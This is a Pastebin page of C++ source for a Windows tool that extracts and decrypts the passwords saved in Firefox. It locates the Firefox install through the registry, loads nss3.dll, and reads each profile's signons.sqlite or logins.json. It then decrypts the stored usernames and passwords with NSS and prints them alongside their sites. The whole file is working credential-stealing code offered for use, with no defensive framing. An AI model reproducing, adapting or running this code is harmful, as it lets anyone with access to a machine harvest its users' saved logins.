Advertisement
Guest User

Untitled

a guest
Dec 30th, 2017
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 11.41 KB | None | 0 0
  1. #include <windows.h>
  2. #include <Shlwapi.h>
  3. #include <Shlobj.h>
  4. #include <string>
  5. #include <cstdio>
  6. #include <conio.h>
  7. #include <Wincrypt.h>
  8. #include <fstream>
  9.  
  10. #pragma comment (lib, "shlwapi.lib")
  11. #pragma comment (lib, "crypt32.lib")
  12. #pragma comment (lib, "Shell32.lib")
  13.  
  14. using namespace std;
  15.  
  16.  
  17. #define NOMINMAX
  18. #define PRBool   int
  19. #define PRUint32 unsigned int
  20. #define PR_TRUE  1
  21. #define PR_FALSE 0
  22. #define SQLITE_OK 0
  23. #define SQLITE_ROW 100
  24. #define SQLITE_API
  25.  
  26. char g_ver[20];
  27.  
  28.  
  29. typedef enum SECItemType {
  30.     siBuffer = 0,
  31.         siClearDataBuffer = 1,
  32.         siCipherDataBuffer,
  33.         siDERCertBuffer,
  34.         siEncodedCertBuffer,
  35.         siDERNameBuffer,
  36.         siEncodedNameBuffer,
  37.         siAsciiNameString,
  38.         siAsciiString,
  39.         siDEROID,
  40.         siUnsignedInteger,
  41.         siUTCTime,
  42.         siGeneralizedTime
  43. };
  44.  
  45. struct SECItem {
  46.     SECItemType type;
  47.     unsigned char *data;
  48.     size_t len;
  49. };
  50.  
  51. typedef enum SECStatus {
  52.     SECWouldBlock = -2,
  53.         SECFailure = -1,
  54.         SECSuccess = 0
  55. };
  56.  
  57.  
  58. typedef struct PK11SlotInfoStr PK11SlotInfo;
  59. typedef SECStatus(*NSS_Init) (const char *);
  60. typedef SECStatus(*NSS_Shutdown) (void);
  61. typedef PK11SlotInfo * (*PK11_GetInternalKeySlot) (void);
  62. typedef void(*PK11_FreeSlot) (PK11SlotInfo *);
  63. typedef SECStatus(*PK11_Authenticate) (PK11SlotInfo *, PRBool, void *);
  64. typedef SECStatus(*PK11SDR_Decrypt) (SECItem *, SECItem *, void *);
  65. typedef struct sqlite3 sqlite3;
  66. typedef struct sqlite3_stmt sqlite3_stmt;
  67. typedef int(SQLITE_API *fpSqliteOpen)(const char *, sqlite3 **);
  68. typedef int(SQLITE_API *fpSqlitePrepare_v2)(sqlite3 *, const char *, int, sqlite3_stmt **, const char **);
  69. typedef int(SQLITE_API *fpSqliteStep)(sqlite3_stmt *);
  70. typedef const unsigned char *(SQLITE_API *fpSqliteColumnText)(sqlite3_stmt*, int);
  71.  
  72. PK11_GetInternalKeySlot PK11GetInternalKeySlot;
  73. PK11_FreeSlot           PK11FreeSlot;
  74. PK11_Authenticate       PK11Authenticate;
  75. PK11SDR_Decrypt         PK11SDRDecrypt;
  76. NSS_Init                fpNSS_INIT;
  77. NSS_Shutdown            fpNSS_Shutdown;
  78.  
  79. fpSqliteOpen isqlite3_open;
  80. fpSqlitePrepare_v2 isqlite3_prepare_v2;
  81. fpSqliteStep isqlite3_step;
  82. fpSqliteColumnText isqlite3_column_text;
  83.  
  84. char *dupcat(const char *s1, ...){
  85.     int len;
  86.     char *p, *q, *sn;
  87.     va_list ap;
  88.      
  89.     len = strlen(s1);
  90.     va_start(ap, s1);
  91.     while (1) {
  92.         sn = va_arg(ap, char *);
  93.         if (!sn)
  94.             break;
  95.         len += strlen(sn);
  96.     }
  97.     va_end(ap);
  98.      
  99.     p = new char[len + 1];
  100.     strcpy(p, s1);
  101.     q = p + strlen(p);
  102.      
  103.     va_start(ap, s1);
  104.     while (1) {
  105.         sn = va_arg(ap, char *);
  106.         if (!sn)
  107.             break;
  108.         strcpy(q, sn);
  109.         q += strlen(q);
  110.     }
  111.     va_end(ap);
  112.      
  113.     return p;
  114. }
  115.  
  116. char *dupncat(const char *s1, unsigned int n){
  117.     char *p, *q;
  118.      
  119.     p = new char[n+1];
  120.     q = p;
  121.     for (int i = 0; i < n; i++) {
  122.         strcpy(q+i, s1);
  123.     }
  124.      
  125.     return p;
  126. }
  127.  
  128. char *installPath(){
  129.     DWORD cbSize;
  130.     char value[MAX_PATH];
  131.     char *path = "SOFTWARE\\Mozilla\\Mozilla Firefox";
  132.      
  133.     cbSize = MAX_PATH;
  134.     if (!SHGetValue(/*HKEY_LOCAL_MACHINE*/HKEY_CURRENT_USER, "SOFTWARE\\Mozilla\\Mozilla Firefox", "CurrentVersion", 0, value, &cbSize)){
  135.         path = dupcat(path,"\\",value,"\\Main",0);
  136.         strcpy(g_ver, value);
  137.         printf("[+] Firefox version %s\n", g_ver);
  138.         cbSize = MAX_PATH;
  139.         if (!SHGetValue(/*HKEY_LOCAL_MACHINE*/HKEY_CURRENT_USER, path, "Install Directory", 0, value, &cbSize)){
  140.             int size = strlen(value)+1;
  141.             char *ret = (char *)calloc(size,1);
  142.             memcpy(ret,value,size);
  143.             delete[]path;
  144.             return ret;
  145.         }
  146.     }
  147.      
  148.     return 0;
  149. }
  150.  
  151. BOOL loadFunctions(char *installPath){
  152.     if (installPath){
  153.         //Lets use the standard library functions,instead of Get/Set EnvironmentVariable
  154.         char *path = getenv("PATH");
  155.         if (path){
  156.             char *newPath = dupcat(path,";",installPath,0);
  157.              _putenv( dupcat("PATH=",newPath,0));
  158.              delete[]newPath;
  159.         }
  160.         HMODULE hNSS = LoadLibrary((dupcat(installPath,"\\nss3.dll",0)));
  161.          
  162.         if (hNSS){
  163.             fpNSS_INIT = (NSS_Init)GetProcAddress(hNSS, "NSS_Init");
  164.             fpNSS_Shutdown = (NSS_Shutdown)GetProcAddress(hNSS, "NSS_Shutdown");
  165.             PK11GetInternalKeySlot = (PK11_GetInternalKeySlot)GetProcAddress(hNSS, "PK11_GetInternalKeySlot");
  166.             PK11FreeSlot = (PK11_FreeSlot)GetProcAddress(hNSS, "PK11_FreeSlot");
  167.             PK11Authenticate = (PK11_Authenticate)GetProcAddress(hNSS, "PK11_Authenticate");
  168.             PK11SDRDecrypt = (PK11SDR_Decrypt)GetProcAddress(hNSS, "PK11SDR_Decrypt");
  169.             isqlite3_open = (fpSqliteOpen)GetProcAddress(hNSS, "sqlite3_open");
  170.             isqlite3_prepare_v2 = (fpSqlitePrepare_v2)GetProcAddress(hNSS, "sqlite3_prepare_v2");
  171.             isqlite3_step = (fpSqliteStep)GetProcAddress(hNSS, "sqlite3_step");
  172.             isqlite3_column_text = (fpSqliteColumnText)GetProcAddress(hNSS, "sqlite3_column_text");
  173.         }
  174.         return !(!fpNSS_INIT || !fpNSS_Shutdown || !PK11GetInternalKeySlot || !PK11Authenticate || !PK11SDRDecrypt || !PK11FreeSlot);
  175.     }
  176.     return FALSE;
  177. }
  178.  
  179. char *Crack(const char *s){
  180.     BYTE byteData[8096];
  181.     DWORD dwLength = 8096;
  182.     PK11SlotInfo *slot = 0;
  183.     SECStatus status;
  184.     SECItem in, out;
  185.     char *result = "";
  186.      
  187.     ZeroMemory(byteData, sizeof (byteData));
  188.      
  189.     if (CryptStringToBinary(s, strlen(s),CRYPT_STRING_BASE64, byteData, &dwLength, 0, 0)){
  190.         slot = (*PK11GetInternalKeySlot) ();
  191.         if (slot != NULL){
  192.             status = PK11Authenticate(slot, PR_TRUE, NULL);
  193.             if (status == SECSuccess){
  194.                 in.data = byteData;
  195.                 in.len = dwLength;
  196.                 out.data = 0;
  197.                 out.len = 0;
  198.                 status = (*PK11SDRDecrypt) (&in, &out, NULL);
  199.                 if (status == SECSuccess){
  200.                     memcpy(byteData, out.data, out.len);
  201.                     byteData[out.len] = 0;
  202.                     result = ((char*)byteData);
  203.                 }
  204.                 else
  205.                     result = "Error on decryption!";
  206.             }
  207.             else
  208.                 result = "Error on authenticate!";
  209.             (*PK11FreeSlot) (slot);
  210.         }
  211.         else{
  212.             result = "Get Internal Slot error!";
  213.              
  214.         }
  215.     }
  216.     return result;
  217. }
  218.  
  219. void showDecryptedPasswords(){
  220.     char path[MAX_PATH];
  221.     char appData[MAX_PATH], profile[MAX_PATH];
  222.     char sections[4096];
  223.      
  224.     SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_CURRENT, appData);
  225.     _snprintf(path, sizeof(path),"%s\\Mozilla\\Firefox\\profiles.ini", appData);
  226.     GetPrivateProfileSectionNames(sections, 4096, path);
  227.     char *p = sections;
  228.  
  229.     while (1){
  230.         if (_strnicmp(p, "Profile", 7) == 0) {
  231.             GetPrivateProfileString(p, "Path", NULL, profile, MAX_PATH, path);
  232.             _snprintf(path, sizeof(path),"%s\\Mozilla\\Firefox\\Profiles\\%s", appData,std::string(profile).substr(std::string(profile).find_first_of("/") + 1).c_str());
  233.              
  234.             if (!(*fpNSS_INIT) (path)){
  235.                 int ver = atoi(g_ver);
  236.                 if (ver < 32){
  237.                     printf("[+] Using sqlite keep userinfo...\n");
  238.  
  239.                     char *database = dupcat(path,"\\signons.sqlite",0);
  240.                     //
  241.                     int entries = 0;
  242.                     sqlite3 *db;
  243.                     if (isqlite3_open(database, &db) == SQLITE_OK) {
  244.                         sqlite3_stmt *stmt;
  245.                         char *query = "SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins";
  246.                         if (isqlite3_prepare_v2(db, query, -1, &stmt, 0) == SQLITE_OK) {
  247.                             while (isqlite3_step(stmt) == SQLITE_ROW) {
  248.                                 printf("%s\n", dupncat("-", 50));
  249.                                 char *user,*password,*site;
  250.                                 user = (char*)isqlite3_column_text(stmt, 0);
  251.                                 password = (char*)isqlite3_column_text(stmt, 1);
  252.                                 site = (char*)isqlite3_column_text(stmt, 2);
  253.                                 entries++;
  254.                                  
  255.                                 printf("Entry: %d\n",entries);
  256.                                 printf("Site: %s\n",site);
  257.                                 printf("User: %s\n",Crack(user));
  258.                                 printf("Password: %s\n",Crack(password));
  259.                                 printf("%s\n", dupncat("-", 50));
  260.                             }
  261.                             delete[]database;
  262.                         }
  263.                         else
  264.                             printf("Can't prepare database!\n");
  265.                     }
  266.                     else
  267.                         printf("Can't open database!\n");
  268.                     if (entries == 0)
  269.                         printf("No entries found in %s\n", database);
  270.                 }
  271.                 else{
  272.                     // logins.json
  273.                     printf("[+] Using json keep userinfo.\n");
  274.                     char *jsonfile = dupcat(path,"\\logins.json",0);
  275.                     FILE *loginJson;
  276.                     DWORD JsonFileSize = 0;
  277.                     char *p, *q, *qu;
  278.  
  279.                     int entries = 0;
  280.  
  281.                     loginJson = fopen(jsonfile, "r");
  282.                     if (loginJson)
  283.                     {
  284.                         fseek(loginJson, 0, SEEK_END);
  285.                         JsonFileSize = ftell(loginJson);
  286.                         fseek(loginJson, 0, SEEK_SET);
  287.      
  288.                         p = new char[JsonFileSize+1];
  289.                         fread(p, 1, JsonFileSize, loginJson);
  290.  
  291.                         while( (q = strstr(p, "formSubmitURL")) != NULL) {
  292.                             printf("%s\n", dupncat("-", 50));
  293.                             printf("Entry: %d\n", entries++);
  294.  
  295.                             q += strlen("formSubmitURL")+3;
  296.                             qu = strstr(q, "usernameField")-3;
  297.                             *qu = '\0';
  298.  
  299.                             printf("Site: %s\n", q);
  300.                             q = strstr(qu+1, "encryptedUsername")+strlen("encryptedUsername")+3;
  301.                             qu = strstr(q, "encryptedPassword")-3;
  302.                             *qu = '\0';
  303.                             printf("User: %s\n", Crack(q));
  304.                             q = strstr(qu+1, "encryptedPassword")+strlen("encryptedPassword")+3;
  305.                             qu = strstr(q, "guid")-3;
  306.                             *qu = '\0';
  307.                             printf("Password: %s\n", Crack(q));
  308.                             p = qu+1;
  309.                         }
  310.                         printf("%s\n", dupncat("-", 50));
  311.                         delete[]jsonfile;
  312.                         fclose(loginJson);
  313.                     }
  314.                     if (entries == 0)
  315.                         printf("No entries found!\n");
  316.                 }
  317.                 (*fpNSS_Shutdown) ();
  318.             }
  319.             else
  320.                 printf("NSS_Init() error!\n");
  321.         }
  322.         p += lstrlen(p) + 1;
  323.         if (p[0] == 0) break;
  324.     }
  325. }
  326.  
  327. void main(){
  328.     char *path = installPath();
  329.     if (loadFunctions(path)){
  330.         //Lets see the credentials
  331.         showDecryptedPasswords();
  332.         free(path);
  333.     }
  334.     else
  335.         printf("Can't find nss3.dll!\n");
  336.     _getch();
  337. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement